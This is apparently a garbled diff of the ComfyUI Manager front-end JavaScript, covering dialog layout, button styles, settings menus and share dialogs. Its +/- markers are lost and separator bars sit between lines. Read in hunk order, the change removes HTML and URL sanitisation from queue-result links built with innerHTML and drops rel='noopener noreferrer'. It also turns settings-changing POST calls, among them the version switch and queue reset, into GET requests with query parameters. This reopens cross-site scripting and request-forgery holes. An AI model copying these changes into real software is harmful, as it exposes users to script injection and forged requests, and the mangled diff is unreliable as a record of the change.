justifyContent: "center",
|
||||
alignItems: "center",
|
||||
pointerEvents: "auto",
|
||||
zIndex: "1000"
|
||||
},
|
||||
onclick: (e) => {
|
||||
if (e.target === dialog_mask) {
|
||||
owner.close();
|
||||
}
|
||||
}
|
||||
// data-pc-section="mask"
|
||||
});
|
||||
|
||||
const header_actions = $el("div.p-dialog-header-actions", {
|
||||
// [TODO]
|
||||
// data-pc-section="headeractions"
|
||||
}
|
||||
);
|
||||
|
||||
const close_button = $el("button.p-button.p-component.p-button-icon-only.p-button-secondary.p-button-rounded.p-button-text.p-dialog-close-button", {
|
||||
parent: header_actions,
|
||||
type: "button",
|
||||
ariaLabel: "Close",
|
||||
onclick: () => owner.close(),
|
||||
// "data-pc-name": "pcclosebutton",
|
||||
// "data-p-disabled": "false",
|
||||
// "data-p-severity": "secondary",
|
||||
// "data-pc-group-section": "headericon",
|
||||
// "data-pc-extend": "button",
|
||||
// "data-pc-section": "root",
|
||||
// [FIXME] Not sure how to do most of the SVG using $el
|
||||
innerHTML: '<svg width="14" height="14" viewBox="0 0 14 14" fill="none" xmlns="http://www.w3.org/2000/svg" class="p-icon p-button-icon" aria-hidden="true"><path d="M8.01186 7.00933L12.27 2.75116C12.341 2.68501 12.398 2.60524 12.4375 2.51661C12.4769 2.42798 12.4982 2.3323 12.4999 2.23529C12.5016 2.13827 12.4838 2.0419 12.4474 1.95194C12.4111 1.86197 12.357 1.78024 12.2884 1.71163C12.2198 1.64302 12.138 1.58893 12.0481 1.55259C11.9581 1.51625 11.8617 1.4984 11.7647 1.50011C11.6677 1.50182 11.572 1.52306 11.4834 1.56255C11.3948 1.60204 11.315 1.65898 11.2488 1.72997L6.99067 5.98814L2.7325 1.72997C2.59553 1.60234 2.41437 1.53286 2.22718 1.53616C2.03999 1.53946 1.8614 1.61529 1.72901 1.74767C1.59663 1.88006 1.5208 2.05865 1.5175 2.24584C1.5142 2.43303 1.58368 2.61419 1.71131 2.75116L5.96948 7.00933L1.71131 11.2675C1.576 11.403 1.5 11.5866 1.5 11.7781C1.5 11.9696 1.576 12.1532 1.71131 12.2887C1.84679 12.424 2.03043 12.5 2.2219 12.5C2.41338 12.5 2.59702 12.424 2.7325 12.2887L6.99067 8.03052L11.2488 12.2887C11.3843 12.424 11.568 12.5 11.7594 12.5C11.9509 12.5 12.1346 12.424 12.27 12.2887C12.4053 12.1532 12.4813 11.9696 12.4813 11.7781C12.4813 11.5866 12.4053 11.403 12.27 11.2675L8.01186 7.00933Z" fill="currentColor"></path></svg><span class="p-button-label" data-pc-section="label"> </span><!---->'
|
||||
}
|
||||
);
|
||||
|
||||
const _customHeader = normalizeContent(customHeader);
|
||||
const dialog_header = $el("div.p-dialog-header",
|
||||
[
|
||||
$el("div", [
|
||||
$el("div",
|
||||
{
|
||||
id: "frame-title-container",
|
||||
},
|
||||
Array.isArray(_customHeader) ? _customHeader : [_customHeader]
|
||||
)
|
||||
]),
|
||||
header_actions
|
||||
]
|
||||
);
|
||||
|
||||
const contentFrame = $el("div.p-dialog-content", {}, normalizeContent(content));
|
||||
const manager_dialog = $el("div.p-dialog.p-component.global-dialog", {
|
||||
id: dialogId,
|
||||
parent: dialog_mask,
|
||||
style: {
|
||||
'display': 'flex',
|
||||
'flex-direction': 'column',
|
||||
'pointer-events': 'auto',
|
||||
'margin': '0px',
|
||||
},
|
||||
role: 'dialog',
|
||||
ariaModal: 'true',
|
||||
// [TODO]
|
||||
// ariaLabbelledby: 'cm-title',
|
||||
// maximized: 'false',
|
||||
// data-pc-name: 'dialog',
|
||||
// data-pc-section: 'root',
|
||||
// data-pd-focustrap: 'true'
|
||||
},
|
||||
[ dialog_header, contentFrame ]
|
||||
);
|
||||
|
||||
const hidden_accessible = $el("span.p-hidden-accessible.p-hidden-focusable", {
|
||||
parent: manager_dialog,
|
||||
tabindex: "0",
|
||||
role: "presentation",
|
||||
ariaHidden: "true",
|
||||
"data-p-hidden-accessible": "true",
|
||||
"data-p-hidden-focusable": "true",
|
||||
"data-pc-section": "firstfocusableelement"
|
||||
});
|
||||
|
||||
return dialog_mask;
|
||||
}
|
||||
@@ -14,12 +14,12 @@ import { OpenArtShareDialog } from "./comfyui-share-openart.js";
|
||||
import {
|
||||
free_models, install_pip, install_via_git_url, manager_instance,
|
||||
rebootAPI, setManagerInstance, show_message, customAlert, customPrompt,
|
||||
infoToast, showTerminal, setNeedRestart, generateUUID, sanitizeHTML, sanitizeUrl
|
||||
infoToast, showTerminal, setNeedRestart, generateUUID
|
||||
} from "./common.js";
|
||||
import { ComponentBuilderDialog, load_components, set_component_policy } from "./components-manager.js";
|
||||
import { CustomNodesManager } from "./custom-nodes-manager.js";
|
||||
import { ModelManager } from "./model-manager.js";
|
||||
import { SnapshotManager } from "./snapshot.js";
|
||||
import { buildGuiFrame, createSettingsCombo } from "./comfyui-gui-builder.js";
|
||||
|
||||
let manager_version = await getVersion();
|
||||
|
||||
@@ -44,16 +44,12 @@ docStyle.innerHTML = `
|
||||
|
||||
#cm-manager-dialog {
|
||||
width: 1000px;
|
||||
height: auto;
|
||||
height: 455px;
|
||||
box-sizing: content-box;
|
||||
z-index: 1000;
|
||||
overflow-y: auto;
|
||||
}
|
||||
|
||||
#cm-manager-dialog br {
|
||||
margin-bottom: 1em;
|
||||
}
|
||||
|
||||
.cb-widget {
|
||||
width: 400px;
|
||||
height: 25px;
|
||||
@@ -84,7 +80,6 @@ docStyle.innerHTML = `
|
||||
}
|
||||
|
||||
.cm-menu-container {
|
||||
padding : calc(var(--spacing)*2);
|
||||
column-gap: 20px;
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
@@ -145,8 +140,8 @@ docStyle.innerHTML = `
|
||||
}
|
||||
|
||||
.cm-notice-board {
|
||||
width: auto;
|
||||
height: 280px;
|
||||
width: 290px;
|
||||
height: 230px;
|
||||
overflow: auto;
|
||||
color: var(--input-text);
|
||||
border: 1px solid var(--descrip-text);
|
||||
@@ -242,50 +237,68 @@ var batch_id = null;
|
||||
// copied style from https://github.com/pythongosssss/ComfyUI-Custom-Scripts
|
||||
const style = `
|
||||
#workflowgallery-button {
|
||||
height: 50px;
|
||||
width: 310px;
|
||||
height: 27px;
|
||||
padding: 0px !important;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
font-size: 17px !important;
|
||||
}
|
||||
#cm-nodeinfo-button {
|
||||
|
||||
width: 310px;
|
||||
height: 27px;
|
||||
padding: 0px !important;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
font-size: 17px !important;
|
||||
}
|
||||
#cm-manual-button {
|
||||
|
||||
width: 310px;
|
||||
height: 27px;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.cm-button {
|
||||
width: auto;
|
||||
width: 310px;
|
||||
height: 30px;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
background-color: var(--comfy-menu-secondary-bg);
|
||||
border-color: var(--border-color);
|
||||
color: var(--input-text);
|
||||
}
|
||||
|
||||
.cm-button:hover {
|
||||
filter: brightness(125%);
|
||||
font-size: 17px !important;
|
||||
}
|
||||
|
||||
.cm-button-red {
|
||||
width: 310px;
|
||||
height: 30px;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
font-size: 17px !important;
|
||||
background-color: #500000 !important;
|
||||
border-color: #88181b !important;
|
||||
color: white !important;
|
||||
}
|
||||
|
||||
.cm-button-red:hover {
|
||||
background-color: #88181b !important;
|
||||
}
|
||||
|
||||
.cm-button-orange {
|
||||
width: 310px;
|
||||
height: 30px;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
font-size: 17px !important;
|
||||
font-weight: bold;
|
||||
background-color: orange !important;
|
||||
color: black !important;
|
||||
}
|
||||
|
||||
.cm-experimental-button {
|
||||
width: 100%;
|
||||
width: 290px;
|
||||
height: 30px;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
font-size: 17px !important;
|
||||
}
|
||||
|
||||
.cm-experimental {
|
||||
width: 310px;
|
||||
border: 1px solid #555;
|
||||
border-radius: 5px;
|
||||
padding: 10px;
|
||||
@@ -312,14 +325,8 @@ const style = `
|
||||
|
||||
.cm-menu-combo {
|
||||
cursor: pointer;
|
||||
padding: 0.5em 0.5em;
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 6px;
|
||||
background: var(--comfy-menu-secondary-bg);
|
||||
}
|
||||
|
||||
.cm-menu-combo:hover {
|
||||
filter: brightness(125%);
|
||||
width: 310px;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
.cm-small-button {
|
||||
@@ -628,23 +635,14 @@ async function switchComfyUI() {
|
||||
showVersionSelectorDialog(versions, obj.current, async (selected_version) => {
|
||||
if(selected_version == 'nightly') {
|
||||
update_policy_combo.value = 'nightly-comfyui';
|
||||
api.fetchApi('/v2/manager/policy/update', { method: 'POST', body: JSON.stringify({value: 'nightly-comfyui'}) });
|
||||
api.fetchApi('/v2/manager/policy/update?value=nightly-comfyui');
|
||||
}
|
||||
else {
|
||||
update_policy_combo.value = 'stable-comfyui';
|
||||
api.fetchApi('/v2/manager/policy/update', { method: 'POST', body: JSON.stringify({value: 'stable-comfyui'}) });
|
||||
api.fetchApi('/v2/manager/policy/update?value=stable-comfyui');
|
||||
}
|
||||
|
||||
let response = await api.fetchApi('/v2/comfyui_manager/comfyui_switch_version', {
|
||||
method: 'POST',
|
||||
cache: "no-store",
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({
|
||||
ver: selected_version,
|
||||
client_id: api.clientId,
|
||||
ui_id: api.clientId,
|
||||
}),
|
||||
});
|
||||
let response = await api.fetchApi(`/v2/comfyui_manager/comfyui_switch_version?ver=${selected_version}`, { cache: "no-store" });
|
||||
if (response.status == 200) {
|
||||
infoToast(`ComfyUI version is switched to ${selected_version}`);
|
||||
}
|
||||
@@ -722,14 +720,13 @@ async function onQueueStatus(event) {
|
||||
msg += "The following custom nodes have been updated:<ul>";
|
||||
for(let x in success_list) {
|
||||
let k = success_list[x];
|
||||
// queue results are server-authored and not escaped upstream
|
||||
let url = sanitizeUrl(event.detail.nodepack_result[k].url);
|
||||
let title = sanitizeHTML(String(event.detail.nodepack_result[k].title ?? ''));
|
||||
let url = event.detail.nodepack_result[k].url;
|
||||
let title = event.detail.nodepack_result[k].title;
|
||||
if(url) {
|
||||
msg += `<li><a href='${sanitizeHTML(url)}' target='_blank' rel='noopener noreferrer'>${title}</a></li>`;
|
||||
msg += `<li><a href='${url}' target='_blank'>${title}</a></li>`;
|
||||
}
|
||||
else {
|
||||
msg += `<li>${sanitizeHTML(String(k))}</li>`;
|
||||
msg += `<li>${k}</li>`;
|
||||
}
|
||||
}
|
||||
msg += "</ul>";
|
||||
@@ -742,13 +739,13 @@ async function onQueueStatus(event) {
|
||||
msg += '<br>The update for the following custom nodes has failed:<ul>';
|
||||
for(let x in failed_list) {
|
||||
let k = failed_list[x];
|
||||
let url = sanitizeUrl(event.detail.nodepack_result[k].url);
|
||||
let title = sanitizeHTML(String(event.detail.nodepack_result[k].title ?? ''));
|
||||
let url = event.detail.nodepack_result[k].url;
|
||||
let title = event.detail.nodepack_result[k].title;
|
||||
if(url) {
|
||||
msg += `<li><a href='${sanitizeHTML(url)}' target='_blank' rel='noopener noreferrer'>${title}</a></li>`;
|
||||
msg += `<li><a href='${url}' target='_blank'>${title}</a></li>`;
|
||||
}
|
||||
else {
|
||||
msg += `<li>${sanitizeHTML(String(k))}</li>`;
|
||||
msg += `<li>${k}</li>`;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -807,7 +804,7 @@ function restartOrStop() {
|
||||
rebootAPI();
|
||||
}
|
||||
else {
|
||||
api.fetchApi('/v2/manager/queue/reset', { method: 'POST' });
|
||||
api.fetchApi('/v2/manager/queue/reset');
|
||||
infoToast('Cancel', 'Remaining tasks will stop after completing the current task.');
|
||||
}
|
||||
}
|
||||
@@ -819,7 +816,7 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
const isElectron = 'electronAPI' in window;
|
||||
|
||||
update_comfyui_button =
|
||||
$el("button.p-button.p-component.cm-button", {
|
||||
$el("button.cm-button", {
|
||||
type: "button",
|
||||
textContent: "Update ComfyUI",
|
||||
style: {
|
||||
@@ -830,7 +827,7 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
});
|
||||
|
||||
switch_comfyui_button =
|
||||
$el("button.p-button.p-component.cm-button", {
|
||||
$el("button.cm-button", {
|
||||
type: "button",
|
||||
textContent: "Switch ComfyUI",
|
||||
style: {
|
||||
@@ -841,7 +838,7 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
});
|
||||
|
||||
restart_stop_button =
|
||||
$el("button.p-button.p-component.cm-button-red", {
|
||||
$el("button.cm-button-red", {
|
||||
type: "button",
|
||||
textContent: "Restart",
|
||||
onclick: () => restartOrStop()
|
||||
@@ -849,7 +846,7 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
|
||||
if(isElectron) {
|
||||
update_all_button =
|
||||
$el("button.p-button.p-component.cm-button", {
|
||||
$el("button.cm-button", {
|
||||
type: "button",
|
||||
textContent: "Update All Custom Nodes",
|
||||
onclick:
|
||||
@@ -858,7 +855,7 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
}
|
||||
else {
|
||||
update_all_button =
|
||||
$el("button.p-button.p-component.cm-button", {
|
||||
$el("button.cm-button", {
|
||||
type: "button",
|
||||
textContent: "Update All",
|
||||
onclick:
|
||||
@@ -868,7 +865,7 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
|
||||
const res =
|
||||
[
|
||||
$el("button.p-button.p-component.cm-button", {
|
||||
$el("button.cm-button", {
|
||||
type: "button",
|
||||
textContent: "Custom Nodes Manager",
|
||||
onclick:
|
||||
@@ -880,7 +877,7 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
}
|
||||
}),
|
||||
|
||||
$el("button.p-button.p-component.cm-button", {
|
||||
$el("button.cm-button", {
|
||||
type: "button",
|
||||
textContent: "Install Missing Custom Nodes",
|
||||
onclick:
|
||||
@@ -892,7 +889,7 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
}
|
||||
}),
|
||||
|
||||
$el("button.p-button.p-component.cm-button", {
|
||||
$el("button.cm-button", {
|
||||
type: "button",
|
||||
textContent: "Custom Nodes In Workflow",
|
||||
onclick:
|
||||
@@ -904,8 +901,8 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
}
|
||||
}),
|
||||
|
||||
$el("div", {}, []),
|
||||
$el("button.p-button.p-component.cm-button", {
|
||||
$el("br", {}, []),
|
||||
$el("button.cm-button", {
|
||||
type: "button",
|
||||
textContent: "Model Manager",
|
||||
onclick:
|
||||
@@ -917,7 +914,7 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
}
|
||||
}),
|
||||
|
||||
$el("button.p-button.p-component.cm-button", {
|
||||
$el("button.cm-button", {
|
||||
type: "button",
|
||||
textContent: "Install via Git URL",
|
||||
onclick: async () => {
|
||||
@@ -929,13 +926,13 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
}
|
||||
}),
|
||||
|
||||
$el("div", {}, []),
|
||||
$el("br", {}, []),
|
||||
update_all_button,
|
||||
update_comfyui_button,
|
||||
switch_comfyui_button,
|
||||
// fetch_updates_button,
|
||||
|
||||
$el("div", {}, []),
|
||||
$el("br", {}, []),
|
||||
restart_stop_button,
|
||||
];
|
||||
|
||||
@@ -948,28 +945,42 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
let self = this;
|
||||
|
||||
// db mode
|
||||
|
||||
this.datasrc_combo = document.createElement("select");
|
||||
this.datasrc_combo.setAttribute("title", "Configure where to retrieve node/model information. If set to 'local,' the channel is ignored, and if set to 'channel (remote),' it fetches the latest information each time the list is opened.");
|
||||
this.datasrc_combo.className = "cm-menu-combo p-select p-component p-inputwrapper p-inputwrapper-filled ";
|
||||
this.datasrc_combo.appendChild($el('option', { value: 'cache', text: 'Channel (1day cache)' }, []));
|
||||
this.datasrc_combo.appendChild($el('option', { value: 'local', text: 'Local' }, []));
|
||||
this.datasrc_combo.appendChild($el('option', { value: 'remote', text: 'Channel (remote)' }, []));
|
||||
this.datasrc_combo.className = "cm-menu-combo";
|
||||
this.datasrc_combo.appendChild($el('option', { value: 'cache', text: 'DB: Channel (1day cache)' }, []));
|
||||
this.datasrc_combo.appendChild($el('option', { value: 'local', text: 'DB: Local' }, []));
|
||||
this.datasrc_combo.appendChild($el('option', { value: 'remote', text: 'DB: Channel (remote)' }, []));
|
||||
|
||||
api.fetchApi('/v2/manager/db_mode')
|
||||
.then(response => response.text())
|
||||
.then(data => { this.datasrc_combo.value = data; });
|
||||
|
||||
this.datasrc_combo.addEventListener('change', function (event) {
|
||||
api.fetchApi('/v2/manager/db_mode', { method: 'POST', body: JSON.stringify({value: event.target.value}) });
|
||||
api.fetchApi(`/v2/manager/db_mode?value=${event.target.value}`);
|
||||
});
|
||||
|
||||
const dbRetrievalSetttingItem = createSettingsCombo("DB", this.datasrc_combo);
|
||||
// preview method
|
||||
let preview_combo = document.createElement("select");
|
||||
preview_combo.setAttribute("title", "Configure how latent variables will be decoded during preview in the sampling process.");
|
||||
preview_combo.className = "cm-menu-combo";
|
||||
preview_combo.appendChild($el('option', { value: 'auto', text: 'Preview method: Auto' }, []));
|
||||
preview_combo.appendChild($el('option', { value: 'taesd', text: 'Preview method: TAESD (slow)' }, []));
|
||||
preview_combo.appendChild($el('option', { value: 'latent2rgb', text: 'Preview method: Latent2RGB (fast)' }, []));
|
||||
preview_combo.appendChild($el('option', { value: 'none', text: 'Preview method: None (very fast)' }, []));
|
||||
|
||||
api.fetchApi('/v2/manager/preview_method')
|
||||
.then(response => response.text())
|
||||
.then(data => { preview_combo.value = data; });
|
||||
|
||||
preview_combo.addEventListener('change', function (event) {
|
||||
api.fetchApi(`/v2/manager/preview_method?value=${event.target.value}`);
|
||||
});
|
||||
|
||||
// channel
|
||||
let channel_combo = document.createElement("select");
|
||||
channel_combo.setAttribute("title", "Configure the channel for retrieving data from the Custom Node list (including missing nodes) or the Model list.");
|
||||
channel_combo.className = "cm-menu-combo p-select p-component p-inputwrapper p-inputwrapper-filled";
|
||||
channel_combo.className = "cm-menu-combo";
|
||||
api.fetchApi('/v2/manager/channel_url_list')
|
||||
.then(response => response.json())
|
||||
.then(async data => {
|
||||
@@ -978,12 +989,12 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
for (let i in urls) {
|
||||
if (urls[i] != '') {
|
||||
let name_url = urls[i].split('::');
|
||||
channel_combo.appendChild($el('option', { value: name_url[0], text: `${name_url[0]}` }, []));
|
||||
channel_combo.appendChild($el('option', { value: name_url[0], text: `Channel: ${name_url[0]}` }, []));
|
||||
}
|
||||
}
|
||||
|
||||
channel_combo.addEventListener('change', function (event) {
|
||||
api.fetchApi('/v2/manager/channel_url_list', { method: 'POST', body: JSON.stringify({value: event.target.value}) });
|
||||
api.fetchApi(`/v2/manager/channel_url_list?value=${event.target.value}`);
|
||||
});
|
||||
|
||||
channel_combo.value = data.selected;
|
||||
@@ -993,13 +1004,11 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
}
|
||||
});
|
||||
|
||||
const channelSetttingItem = createSettingsCombo("Channel", channel_combo);
|
||||
|
||||
|
||||
// share
|
||||
let share_combo = document.createElement("select");
|
||||
share_combo.setAttribute("title", "Hide the share button in the main menu or set the default action upon clicking it. Additionally, configure the default share site when sharing via the context menu's share button.");
|
||||
share_combo.className = "cm-menu-combo p-select p-component p-inputwrapper p-inputwrapper-filled";
|
||||
share_combo.className = "cm-menu-combo";
|
||||
const share_options = [
|
||||
['none', 'None'],
|
||||
['openart', 'OpenArt AI'],
|
||||
@@ -1010,7 +1019,7 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
['all', 'All'],
|
||||
];
|
||||
for (const option of share_options) {
|
||||
share_combo.appendChild($el('option', { value: option[0], text: `${option[1]}` }, []));
|
||||
share_combo.appendChild($el('option', { value: option[0], text: `Share: ${option[1]}` }, []));
|
||||
}
|
||||
|
||||
api.fetchApi('/v2/manager/share_option')
|
||||
@@ -1032,14 +1041,33 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
}
|
||||
});
|
||||
|
||||
const shareSetttingItem = createSettingsCombo("Share", share_combo);
|
||||
let component_policy_combo = document.createElement("select");
|
||||
component_policy_combo.setAttribute("title", "When loading the workflow, configure which version of the component to use.");
|
||||
component_policy_combo.className = "cm-menu-combo";
|
||||
component_policy_combo.appendChild($el('option', { value: 'workflow', text: 'Component: Use workflow version' }, []));
|
||||
component_policy_combo.appendChild($el('option', { value: 'higher', text: 'Component: Use higher version' }, []));
|
||||
component_policy_combo.appendChild($el('option', { value: 'mine', text: 'Component: Use my version' }, []));
|
||||
api.fetchApi('/v2/manager/policy/component')
|
||||
.then(response => response.text())
|
||||
.then(data => {
|
||||
component_policy_combo.value = data;
|
||||
set_component_policy(data);
|
||||
});
|
||||
|
||||
component_policy_combo.addEventListener('change', function (event) {
|
||||
api.fetchApi(`/v2/manager/policy/component?value=${event.target.value}`);
|
||||
set_component_policy(event.target.value);
|
||||
});
|
||||
|
||||
update_policy_combo = document.createElement("select");
|
||||
|
||||
if(isElectron)
|
||||
update_policy_combo.style.display = 'none';
|
||||
|
||||
update_policy_combo.setAttribute("title", "Sets the policy to be applied when performing an update.");
|
||||
update_policy_combo.className = "cm-menu-combo p-select p-component p-inputwrapper p-inputwrapper-filled";
|
||||
update_policy_combo.appendChild($el('option', { value: 'stable-comfyui', text: 'ComfyUI Stable Version' }, []));
|
||||
update_policy_combo.appendChild($el('option', { value: 'nightly-comfyui', text: 'ComfyUI Nightly Version' }, []));
|
||||
update_policy_combo.className = "cm-menu-combo";
|
||||
update_policy_combo.appendChild($el('option', { value: 'stable-comfyui', text: 'Update: ComfyUI Stable Version' }, []));
|
||||
update_policy_combo.appendChild($el('option', { value: 'nightly-comfyui', text: 'Update: ComfyUI Nightly Version' }, []));
|
||||
api.fetchApi('/v2/manager/policy/update')
|
||||
.then(response => response.text())
|
||||
.then(data => {
|
||||
@@ -1047,23 +1075,23 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
});
|
||||
|
||||
update_policy_combo.addEventListener('change', function (event) {
|
||||
api.fetchApi('/v2/manager/policy/update', { method: 'POST', body: JSON.stringify({value: event.target.value}) });
|
||||
api.fetchApi(`/v2/manager/policy/update?value=${event.target.value}`);
|
||||
});
|
||||
|
||||
const updateSetttingItem = createSettingsCombo("Update", update_policy_combo);
|
||||
|
||||
if(isElectron)
|
||||
updateSetttingItem.style.display = 'none';
|
||||
|
||||
return [
|
||||
dbRetrievalSetttingItem,
|
||||
channelSetttingItem,
|
||||
shareSetttingItem,
|
||||
updateSetttingItem,
|
||||
//[TODO] replace mt-2 with wrapper div with flex column gap
|
||||
$el("filedset.cm-experimental.mt-auto", {}, [
|
||||
$el("br", {}, []),
|
||||
this.datasrc_combo,
|
||||
channel_combo,
|
||||
preview_combo,
|
||||
share_combo,
|
||||
component_policy_combo,
|
||||
update_policy_combo,
|
||||
$el("br", {}, []),
|
||||
|
||||
$el("br", {}, []),
|
||||
$el("filedset.cm-experimental", {}, [
|
||||
$el("legend.cm-experimental-legend", {}, ["EXPERIMENTAL"]),
|
||||
$el("button.p-button.p-component.cm-button.cm-experimental-button", {
|
||||
$el("button.cm-experimental-button", {
|
||||
type: "button",
|
||||
textContent: "Snapshot Manager",
|
||||
onclick:
|
||||
@@ -1073,7 +1101,7 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
SnapshotManager.instance.show();
|
||||
}
|
||||
}),
|
||||
$el("button.p-button.p-component.cm-button.cm-experimental-button.mt-2", {
|
||||
$el("button.cm-experimental-button", {
|
||||
type: "button",
|
||||
textContent: "Install PIP packages",
|
||||
onclick:
|
||||
@@ -1091,7 +1119,7 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
|
||||
createControlsRight() {
|
||||
const elts = [
|
||||
$el("button.p-button.p-component.cm-button", {
|
||||
$el("button.cm-button", {
|
||||
id: 'cm-manual-button',
|
||||
type: "button",
|
||||
textContent: "Community Manual",
|
||||
@@ -1142,11 +1170,11 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
})
|
||||
]),
|
||||
|
||||
$el("button.p-button.p-component.cm-button", {
|
||||
$el("button", {
|
||||
id: 'workflowgallery-button',
|
||||
type: "button",
|
||||
style: {
|
||||
// ...(localStorage.getItem("wg_last_visited") ? {height: '50px'} : {})
|
||||
...(localStorage.getItem("wg_last_visited") ? {height: '50px'} : {})
|
||||
},
|
||||
onclick: (e) => {
|
||||
const last_visited_site = localStorage.getItem("wg_last_visited")
|
||||
@@ -1169,7 +1197,7 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
}, [
|
||||
$el("p", {
|
||||
id: 'workflowgallery-button-last-visited-label',
|
||||
textContent: `(${localStorage.getItem("wg_last_visited") ? localStorage.getItem("wg_last_visited").split('/')[2] : 'none selected'})`,
|
||||
textContent: `(${localStorage.getItem("wg_last_visited") ? localStorage.getItem("wg_last_visited").split('/')[2] : ''})`,
|
||||
style: {
|
||||
'text-align': 'center',
|
||||
'color': 'var(--input-text)',
|
||||
@@ -1185,12 +1213,13 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
})
|
||||
]),
|
||||
|
||||
$el("button.p-button.p-component.cm-button", {
|
||||
$el("button.cm-button", {
|
||||
id: 'cm-nodeinfo-button',
|
||||
type: "button",
|
||||
textContent: "Nodes Info",
|
||||
onclick: () => { window.open("https://ltdrdata.github.io/", "comfyui-node-info"); }
|
||||
}),
|
||||
$el("br", {}, []),
|
||||
];
|
||||
|
||||
var textarea = document.createElement("div");
|
||||
@@ -1205,23 +1234,31 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
constructor() {
|
||||
super();
|
||||
|
||||
const content = $el("div.cm-menu-container",
|
||||
[
|
||||
$el("div.cm-menu-column.gap-2", [...this.createControlsLeft()]),
|
||||
$el("div.cm-menu-column.gap-2", [...this.createControlsMid()]),
|
||||
$el("div.cm-menu-column.gap-2", [...this.createControlsRight()])
|
||||
]
|
||||
);
|
||||
const close_button = $el("button", { id: "cm-close-button", type: "button", textContent: "Close", onclick: () => this.close() });
|
||||
|
||||
const frame = buildGuiFrame(
|
||||
'cm-manager-dialog', // dialog id
|
||||
`ComfyUI Manager ${manager_version}`, // dialog title
|
||||
"i.mdi.mdi-puzzle", // dialog icon class to show before title
|
||||
content, // dialog content element
|
||||
this
|
||||
); // send this so we can attach close functions
|
||||
const content =
|
||||
$el("div.comfy-modal-content",
|
||||
[
|
||||
$el("tr.cm-title", {}, [
|
||||
$el("font", {size:6, color:"white"}, [`ComfyUI Manager ${manager_version}`])]
|
||||
),
|
||||
$el("br", {}, []),
|
||||
$el("div.cm-menu-container",
|
||||
[
|
||||
$el("div.cm-menu-column", [...this.createControlsLeft()]),
|
||||
$el("div.cm-menu-column", [...this.createControlsMid()]),
|
||||
$el("div.cm-menu-column", [...this.createControlsRight()])
|
||||
]),
|
||||
|
||||
this.element = frame;
|
||||
$el("br", {}, []),
|
||||
close_button,
|
||||
]
|
||||
);
|
||||
|
||||
content.style.width = '100%';
|
||||
content.style.height = '100%';
|
||||
|
||||
this.element = $el("div.comfy-modal", { id:'cm-manager-dialog', parent: document.body }, [ content ]);
|
||||
}
|
||||
|
||||
get isVisible() {
|
||||
@@ -1229,7 +1266,7 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
}
|
||||
|
||||
show() {
|
||||
this.element.style.display = "flex";
|
||||
this.element.style.display = "block";
|
||||
}
|
||||
|
||||
toggleVisibility() {
|
||||
@@ -1398,6 +1435,14 @@ app.registerExtension({
|
||||
});
|
||||
},
|
||||
async setup() {
|
||||
let orig_clear = app.graph.clear;
|
||||
app.graph.clear = function () {
|
||||
orig_clear.call(app.graph);
|
||||
load_components();
|
||||
};
|
||||
|
||||
load_components();
|
||||
|
||||
const menu = document.querySelector(".comfy-menu");
|
||||
const separator = document.createElement("hr");
|
||||
|
||||
@@ -1526,6 +1571,19 @@ app.registerExtension({
|
||||
node.prototype.getExtraMenuOptions = function (_, options) {
|
||||
origGetExtraMenuOptions?.apply?.(this, arguments);
|
||||
|
||||
if (node.category.startsWith('group nodes>')) {
|
||||
options.push({
|
||||
content: "Save As Component",
|
||||
callback: (obj) => {
|
||||
if (!ComponentBuilderDialog.instance) {
|
||||
ComponentBuilderDialog.instance = new ComponentBuilderDialog();
|
||||
}
|
||||
ComponentBuilderDialog.instance.target_node = node;
|
||||
ComponentBuilderDialog.instance.show();
|
||||
}
|
||||
}, null);
|
||||
}
|
||||
|
||||
if (isOutputNode(node)) {
|
||||
const { potential_outputs } = getPotentialOutputsAndOutputNodes([this]);
|
||||
const hasOutput = potential_outputs.length > 0;
|
||||
|
||||
@@ -4,7 +4,7 @@ import { $el, ComfyDialog } from "../../scripts/ui.js";
|
||||
import { CopusShareDialog } from "./comfyui-share-copus.js";
|
||||
import { OpenArtShareDialog } from "./comfyui-share-openart.js";
|
||||
import { YouMLShareDialog } from "./comfyui-share-youml.js";
|
||||
import { customAlert, sanitizeHTML, sanitizeUrl } from "./common.js";
|
||||
import { customAlert } from "./common.js";
|
||||
|
||||
export const SUPPORTED_OUTPUT_NODE_TYPES = [
|
||||
"PreviewImage",
|
||||
@@ -951,8 +951,7 @@ export class ShareDialog extends ComfyDialog {
|
||||
const response_json = await response.json();
|
||||
|
||||
if (response_json.comfyworkflows.url) {
|
||||
const sharedUrl = sanitizeHTML(sanitizeUrl(response_json.comfyworkflows.url));
|
||||
